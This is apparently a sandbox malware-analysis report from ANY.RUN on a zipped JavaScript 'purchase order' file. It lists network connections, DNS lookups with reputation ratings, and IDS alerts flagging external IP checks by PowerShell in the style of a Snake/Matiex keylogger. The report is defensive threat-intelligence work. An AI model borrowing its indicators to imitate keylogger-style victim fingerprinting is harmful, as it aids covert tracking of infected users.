20.12.23.50:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
7980
SIHClient.exe
23.48.23.169:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
7980
SIHClient.exe
23.52.120.96:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
7980
SIHClient.exe
40.69.42.241:443
fe3cr.delivery.mp.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
google.com
  • 216.58.206.46
whitelisted
login.live.com
  • 20.190.160.67
  • 20.190.160.3
  • 40.126.32.136
  • 40.126.32.76
  • 20.190.160.20
  • 20.190.160.65
  • 20.190.160.128
  • 20.190.160.17
whitelisted
checkip.dyndns.org
  • 193.122.6.168
  • 193.122.130.0
  • 132.226.8.169
  • 158.101.44.242
  • 132.226.247.73
whitelisted
reallyfreegeoip.org
  • 104.21.48.1
  • 104.21.112.1
  • 104.21.64.1
  • 104.21.16.1
  • 104.21.32.1
  • 104.21.96.1
  • 104.21.80.1
malicious
slscr.update.microsoft.com
  • 20.12.23.50
  • 20.109.210.53
whitelisted
crl.microsoft.com
  • 23.48.23.169
  • 23.48.23.195
  • 23.48.23.191
  • 23.48.23.173
  • 23.48.23.179
  • 23.48.23.186
  • 23.48.23.132
  • 23.48.23.143
  • 23.48.23.181
whitelisted
www.microsoft.com
  • 23.52.120.96
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 40.69.42.241
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Device Retrieving External IP Address Detected
ET DYN_DNS External IP Lookup Domain in DNS Query (checkip .dyndns .org)
7740
powershell.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
7740
powershell.exe
Device Retrieving External IP Address Detected
ET INFO 404/Snake/Matiex Keylogger Style External IP Check
2196
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Address Lookup Domain (reallyfreegeoip .org)
7740
powershell.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
2196
svchost.exe
Misc activity
ET INFO External IP Address Lookup Domain in DNS Lookup (reallyfreegeoip .org)
7740
powershell.exe
Misc activity
ET INFO External IP Lookup Service Domain (reallyfreegeoip .org) in TLS SNI
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
15052025_1745_Ordendecompra015647.js.zip